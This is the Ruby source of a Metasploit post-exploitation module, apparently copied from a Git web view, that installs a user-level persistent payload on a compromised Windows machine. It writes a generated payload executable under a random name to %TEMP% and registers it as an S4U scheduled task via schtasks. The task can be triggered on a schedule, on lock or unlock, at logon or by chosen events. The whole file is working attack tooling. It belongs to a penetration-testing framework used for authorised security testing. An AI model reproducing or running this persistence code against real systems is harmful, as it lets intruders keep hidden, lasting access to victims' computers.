75ba9110e2
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
377 lines
13 KiB
Ruby
377 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Manage User Level Persistent Payload Installer',
|
|
'Description' => %q{
|
|
Creates a scheduled task that will run using service-for-user (S4U).
|
|
This allows the scheduled task to run even as an unprivileged user
|
|
that is not logged into the device. This will result in lower security
|
|
context, allowing access to local resources only. The module
|
|
requires 'Logon as a batch job' permissions (SeBatchLogonRight).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
|
|
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
|
|
],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
|
'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
[ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
|
|
[ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ]
|
|
],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_railgun_api
|
|
stdapi_sys_config_getenv
|
|
stdapi_sys_config_getuid
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
|
|
OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),
|
|
OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule', ['event', 'lock', 'logon', 'schedule', 'unlock']]),
|
|
OptString.new('REXENAME', [false, 'Name of exe on remote system']),
|
|
OptString.new('RTASKNAME', [false, 'Name of task on remote system']),
|
|
OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%'])
|
|
]
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
|
|
OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
|
|
OptString.new('XPATH', [false, 'XPath query'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
version = get_version_info
|
|
unless version.build_number >= Msf::WindowsVersion::Vista_SP0
|
|
fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above')
|
|
end
|
|
|
|
if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?)
|
|
print_status('The properties of any event in the event viewer will contain this information')
|
|
fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event')
|
|
end
|
|
|
|
# Generate payload
|
|
payload = generate_payload_exe
|
|
|
|
# Generate remote executable name
|
|
rexename = generate_rexename
|
|
|
|
# Generate path names
|
|
xml_path, rexe_path = generate_path(rexename)
|
|
|
|
# Upload REXE to victim fs
|
|
upload_rexe(rexe_path, payload)
|
|
|
|
# Create basic XML outline
|
|
xml = create_xml(rexe_path)
|
|
|
|
# Fix XML based on trigger
|
|
xml = add_xml_triggers(xml)
|
|
|
|
# Write XML to victim fs, if fail clean up
|
|
write_xml(xml, xml_path, rexe_path)
|
|
|
|
# Name task with Opt or give random name
|
|
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
|
|
|
# Create task with modified XML
|
|
create_task(xml_path, schname, rexe_path)
|
|
end
|
|
|
|
##############################################################
|
|
# Generate name for payload
|
|
# Returns name
|
|
def generate_rexename
|
|
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
|
|
if rexename !~ /\.exe$/
|
|
print_warning("#{datastore['REXENAME']} isn't an exe")
|
|
end
|
|
return rexename
|
|
end
|
|
|
|
##############################################################
|
|
# Generate Path for payload upload
|
|
# Returns path for XML and payload
|
|
def generate_path(rexename)
|
|
# Generate a path to write payload and XML
|
|
path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
|
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml"
|
|
rexe_path = "#{path}\\#{rexename}"
|
|
return xml_path, rexe_path
|
|
end
|
|
|
|
##############################################################
|
|
# Upload the executable payload
|
|
# Returns boolean for success
|
|
def upload_rexe(path, payload)
|
|
vprint_status("Uploading #{path}")
|
|
|
|
if file? path
|
|
fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
|
|
end
|
|
|
|
begin
|
|
write_file(path, payload)
|
|
rescue StandardError
|
|
fail_with(Failure::Unknown, "Could not upload to #{path}")
|
|
end
|
|
|
|
print_good("Successfully Uploaded remote executable to #{path}")
|
|
end
|
|
|
|
##############################################################
|
|
# Creates a scheduled task, exports as XML, deletes task
|
|
# Returns normal XML for generic task
|
|
def create_xml(rexe_path)
|
|
xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml')
|
|
xml_file = File.new(xml_path, 'r')
|
|
xml = xml_file.read
|
|
xml_file.close
|
|
|
|
# Get local time, not system time from victim machine
|
|
begin
|
|
vt = client.railgun.kernel32.GetLocalTime(32)
|
|
ut = vt['lpSystemTime'].unpack('v*')
|
|
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
|
|
rescue StandardError
|
|
print_warning('Could not read system time from victim... Using your local time to determine creation date')
|
|
t = ::Time.now
|
|
end
|
|
date = t.strftime('%Y-%m-%d')
|
|
time = t.strftime('%H:%M:%S')
|
|
|
|
# Put in correct times
|
|
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")
|
|
|
|
domain, user = client.sys.config.getuid.split('\\')
|
|
|
|
# Put in user information
|
|
xml = xml.sub(/DOMAINHERE/, user)
|
|
xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")
|
|
|
|
xml = xml.sub(/COMMANDHERE/, rexe_path)
|
|
return xml
|
|
end
|
|
|
|
##############################################################
|
|
# Takes the XML, alters it based on trigger specified. Will also
|
|
# add in expiration tag if used.
|
|
# Returns the modified XML
|
|
def add_xml_triggers(xml)
|
|
# Insert trigger
|
|
case datastore['TRIGGER']
|
|
when 'logon'
|
|
# Trigger based on winlogon event, checks windows license key after logon
|
|
print_status('This trigger triggers on event 4101 which validates the Windows license')
|
|
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
|
|
xml = create_trigger_event_tags('Application', line, xml)
|
|
|
|
when 'lock'
|
|
xml = create_trigger_tags('SessionLock', xml)
|
|
|
|
when 'unlock'
|
|
xml = create_trigger_tags('SessionUnlock', xml)
|
|
|
|
when 'event'
|
|
line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
|
|
if !datastore['XPATH'].nil? && !datastore['XPATH'].empty?
|
|
# Append xpath queries
|
|
line << " and #{datastore['XPATH']}"
|
|
# Print XPath query, useful to user to spot issues with uncommented single quotes
|
|
print_status("XPath query: #{line}")
|
|
end
|
|
|
|
xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)
|
|
|
|
when 'schedule'
|
|
# Change interval tag, insert into XML
|
|
unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0
|
|
minutes = datastore['FREQUENCY']
|
|
else
|
|
print_status('Defaulting frequency to every hour')
|
|
minutes = 60
|
|
end
|
|
xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")
|
|
|
|
# Insert expire tag if not 0
|
|
unless datastore['EXPIRE_TIME'] == 0
|
|
# Generate expire tag
|
|
end_boundary = create_expire_tag
|
|
# Inject expire tag
|
|
insert = xml.index('</StartBoundary>')
|
|
xml.insert(insert + 16, "\n #{end_boundary}")
|
|
end
|
|
end
|
|
return xml
|
|
end
|
|
|
|
##############################################################
|
|
# Creates end boundary tag which expires the trigger
|
|
# Returns XML for expire
|
|
def create_expire_tag
|
|
# Get local time, not system time from victim machine
|
|
begin
|
|
vt = client.railgun.kernel32.GetLocalTime(32)
|
|
ut = vt['lpSystemTime'].unpack('v*')
|
|
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
|
|
rescue StandardError
|
|
print_error('Could not read system time from victim... Using your local time to determine expire date')
|
|
t = ::Time.now
|
|
end
|
|
|
|
# Create time object to add expire time to and create tag
|
|
t += (datastore['EXPIRE_TIME'] * 60)
|
|
date = t.strftime('%Y-%m-%d')
|
|
time = t.strftime('%H:%M:%S')
|
|
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
|
|
return end_boundary
|
|
end
|
|
|
|
##############################################################
|
|
# Creates trigger XML for session state triggers and replaces
|
|
# the time trigger.
|
|
# Returns altered XML
|
|
def create_trigger_tags(trig, xml)
|
|
domain, user = client.sys.config.getuid.split('\\')
|
|
|
|
# Create session state trigger, weird spacing used to maintain
|
|
# natural Winadows spacing for XML export
|
|
temp_xml = "<SessionStateChangeTrigger>\n"
|
|
temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
|
|
temp_xml << " <Enabled>true</Enabled>\n"
|
|
temp_xml << " <StateChange>#{trig}</StateChange>\n"
|
|
temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n"
|
|
temp_xml << ' </SessionStateChangeTrigger>'
|
|
|
|
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
|
|
|
|
return xml
|
|
end
|
|
|
|
##############################################################
|
|
# Creates trigger XML for event based triggers and replaces
|
|
# the time trigger.
|
|
# Returns altered XML
|
|
def create_trigger_event_tags(log, line, xml)
|
|
# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
|
|
# used to maintain natural Windows spacing for XML export
|
|
temp_xml = "<EventTrigger>\n"
|
|
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
|
|
temp_xml << " <Enabled>true</Enabled>\n"
|
|
temp_xml << ' <Subscription><QueryList><Query Id="0" '
|
|
temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">"
|
|
temp_xml << line
|
|
temp_xml << '</Select></Query></QueryList>'
|
|
temp_xml << "</Subscription>\n"
|
|
temp_xml << ' </EventTrigger>'
|
|
|
|
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
|
|
return xml
|
|
end
|
|
|
|
##############################################################
|
|
# Takes the XML and a path and writes file to filesystem
|
|
# Returns boolean for success
|
|
def write_xml(xml, path, rexe_path)
|
|
if file? path
|
|
delete_file(rexe_path)
|
|
fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
|
|
end
|
|
begin
|
|
write_file(path, xml)
|
|
rescue StandardError
|
|
delete_file(rexe_path)
|
|
fail_with(Failure::Unknown, "Issues writing XML to #{path}")
|
|
end
|
|
print_good("Successfully wrote XML file to #{path}")
|
|
end
|
|
|
|
##############################################################
|
|
# Takes path and delete file
|
|
# Returns boolean for success
|
|
def delete_file(path)
|
|
file_rm(path)
|
|
rescue StandardError
|
|
print_warning("Could not delete file #{path}, delete manually")
|
|
end
|
|
|
|
##############################################################
|
|
# Takes path and name for task and creates final task
|
|
# Returns boolean for success
|
|
def create_task(path, schname, rexe_path)
|
|
# create task using XML file on victim fs
|
|
create_task_response = cmd_exec('cmd.exe', "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
|
|
if create_task_response =~ /has successfully been created/
|
|
print_good("Persistence task #{schname} created successfully")
|
|
|
|
# Create to delete commands for exe and task
|
|
del_task = "schtasks /delete /tn \"#{schname}\" /f"
|
|
print_status("#{'To delete task:'.ljust(20)} #{del_task}")
|
|
print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}")
|
|
del_task << "\ndel #{rexe_path}"
|
|
|
|
# Delete XML from victim
|
|
delete_file(path)
|
|
|
|
# Save info to notes DB
|
|
report_note(host: session.session_host,
|
|
type: 'host.s4u_persistance.cleanup',
|
|
data: {
|
|
session_num: session.sid,
|
|
stype: session.type,
|
|
desc: session.info,
|
|
platform: session.platform,
|
|
via_payload: session.via_payload,
|
|
via_exploit: session.via_exploit,
|
|
created_at: Time.now.utc,
|
|
delete_commands: del_task
|
|
})
|
|
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
|
|
# Clean up
|
|
delete_file(rexe_path)
|
|
delete_file(path)
|
|
error = 'The scheduled task name is already in use'
|
|
fail_with(Failure::Unknown, error)
|
|
else
|
|
error = 'Issues creating task using XML file schtasks'
|
|
vprint_error("Error: #{create_task_response}")
|
|
if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event')
|
|
print_warning('Security log can restricted by UAC, try a different trigger')
|
|
end
|
|
# Clean up
|
|
delete_file(rexe_path)
|
|
delete_file(path)
|
|
fail_with(Failure::Unknown, error)
|
|
end
|
|
end
|
|
end
|